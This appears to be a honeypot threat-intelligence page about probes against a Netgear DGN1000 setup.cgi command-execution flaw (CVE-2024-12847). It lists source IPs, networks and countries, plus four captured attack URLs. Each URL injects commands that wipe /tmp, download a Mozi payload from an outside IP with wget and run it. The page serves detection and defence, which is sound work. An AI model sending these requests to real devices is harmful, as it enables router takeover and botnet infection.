HoneyLabs
Lookup
Explore
CVEsEarly actorsPayloadsCampaignsEmissions IndexPortsUser-agentsUDP traffic
Integrations
OverviewMCPFeedsAPI / EnrichSplunkMicrosoft SentinelElasticMISPOpenCTICrowdSec
PricingDocsBlog

CVE-2024-12847: Netgear DGN1000 setup.cgi currentsetting.htm authentication bypass and syscmd command execution

HoneyLabs honeypots recorded 15 probes matching CVE-2024-12847 from 15 distinct source IP addresses in the last 7 days. Severity is rated critical.

Request paths that identify it

  • /setup.cgi?{{*}}todo=syscmd&cmd={{*}}currentsetting.htm

Addresses probing it

Source IPProbesNetworkCountry
103.174.243.2141Qwistel Network Service Private LimitedIndia
105.224.36.1881Telkom SA Ltd.South Africa
110.38.13.2431National WiMAX/IMS environmentPakistan
144.48.130.2381Cyber Internet Services (Pvt) Ltd.Pakistan
153.117.34.1521Cyber Internet Services (Pvt) Ltd.Pakistan
153.117.37.1371Cyber Internet Services (Pvt) Ltd.Pakistan
153.117.68.401Cyber Internet Services (Pvt) Ltd.Pakistan
153.117.8.811Cyber Internet Services (Pvt) Ltd.Pakistan

Networks it comes from

ASNOrganisationProbesSource IPs
AS9541Cyber Internet Services (Pvt) Ltd.55
AS4837CHINA UNICOM China169 Backbone22
AS135687Qwistel Network Service Private Limited11
AS136525Wancom (Pvt) Ltd.11
AS140900Getlinks (SMC-Private) Limited11
AS24757Ethio Telecom11

Where it comes from

CountryProbes
Pakistan8
China2
Argentina1
Ethiopia1
Indonesia1
India1

Captured requests

  • /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://43.230.94.184:52270/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1
  • /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://182.190.221.52:48320/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1
  • /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://110.38.13.243:37699/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1
  • /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://103.174.243.214:37869/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1

HTTP client fingerprints

  • b10cun000_00000000_334359b9

CVE report

CVE report

Open a specific CVE from the CVE tracker.